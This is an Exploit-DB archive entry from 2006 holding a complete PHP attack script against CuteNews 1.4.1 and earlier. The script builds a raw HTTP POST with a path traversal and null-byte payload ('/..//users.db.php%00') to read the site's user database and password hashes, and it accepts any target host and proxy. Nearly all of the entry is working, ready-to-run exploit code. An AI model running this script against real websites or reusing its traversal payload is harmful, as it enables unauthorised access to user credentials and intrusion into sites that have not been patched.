CuteNews <= 1.4.1 function.php Local File Include Exploit

2006-03-26T00:00:00
ID EDB-ID:1612
Type exploitdb
Reporter Hamid Ebadi
Modified 2006-03-26T00:00:00

Description

CuteNews <= 1.4.1 (function.php) Local File Include Exploit. Webapps exploit for php platform

                                        
                                            &lt;?php
// Happy NEW Iranian year .
// Happy Norouz  ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

error_reporting(0);
echo '&lt;head&gt;&lt;title&gt;CuteNews 1.4.1 user Hash password Finder&lt;/title&gt;
      &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
      &lt;style type="text/css"&gt;
      &lt;!--
      body,td,th {color: #000000;}
      body {background-color:EBEBEB #;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
        font-weight: bold;

              }
      --&gt;
      &lt;/style&gt;&lt;/head&gt;
      &lt;body&gt;
&lt;h2&gt;CuteNews 1.4.1 (and Below) user Hash password Finder &lt;/h2&gt;
 &lt;p class="Stile6"&gt;Security ? . &lt;/p&gt;
 &lt;p class="Stile6"&gt;Bug Discovered and Exploited by Hamid Ebadi  &lt;a href="http://www.hamid.ir" target="_blank"&gt;.: Hamid Network Security Team :.&lt;/a&gt;&lt;/p&gt;
&lt;p class="Stile5"&gt;Happy Norouz  ( PERSIAN new year celebration ) Greetz to all Iranian Hackers spacially my friends in ihsteam.com  c0d3r.org  kapda.ir simorgh-ev.com hat-squad.com  blacknews.ws ashiyane.com websecurity.ir crouz.com shabgard.org hackerz.ir  and ...&lt;/p&gt;



&lt;p class="Stile6"&gt;read this paper about &lt;a href="http://www.hamid.ir/security/" target="_blank"&gt;CuteNews 1.4.1   vulnerability&lt;/a&gt;&lt;/p&gt;
&lt;table width="84%" &gt;
  &lt;tr&gt;
    &lt;td width="43%"&gt;
     &lt;form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&". "port=value&command=value&proxy=value"&gt;
      &lt;p&gt;
       &lt;input type="text" name="host"&gt;
      &lt;span class="Stile5"&gt;hostname (ex: www.sitename.com) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
        &lt;input type="text" name="path"&gt;
        &lt;span class="Stile5"&gt;path (ex: /cutenews/example2.php ) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="port"&gt;
        &lt;span class="Stile5"&gt;specify a port other than 80 (default value) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="proxy"&gt;
        &lt;span class="Stile5"&gt;send exploit through an HTTP proxy (ip:port) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="command"&gt;
        &lt;span class="Stile5"&gt;specify a file  other than /../users.db.php%00 to read  &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
          &lt;input type="submit" name="Submit" value="go!"&gt;
      &lt;/p&gt;
&lt;p class="Stile5"&gt;Spacial THX : rgod at &lt;a href="http://rgod.altervista.org" target="_blank"&gt;http://rgod.altervista.org&lt;/a&gt; for his great codes (i just change few lines of RGOD old NETQUERY remote commands execution exploit)&lt;/p&gt;
    &lt;/form&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;
&lt;/html&gt;';

function show($headeri)
{
$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$proxy=$_POST[proxy];
$command=$_POST[command];
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;  &lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
       }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;  &lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
       }

echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host&lt;&gt;''))
{
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;
if ($proxy=='')
       {$packet="POST ".$path."  HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...&lt;br&gt;';
             die;
            }
         else
        {$packet="POST http://".$host.$path." HTTP/1.1\r\n";}
        }

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Hamid/2006\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

echo '&lt;br&gt; Sending exploit to '.$host.'&lt;br&gt;';

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }

     }
echo $packet ;
show($packet);
fputs($fp,$packet);

if ($proxy=='')
{ $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...&lt;br&gt; If CuteNews 1.4.1   is unpatched and vulnerable  &lt;br&gt;';
     echo 'you will see '.htmlentities($command).' output inside HTML...&lt;br&gt;&lt;br&gt;';
    }
else
    {echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;
}
?&gt; 

# milw0rm.com [2006-03-26]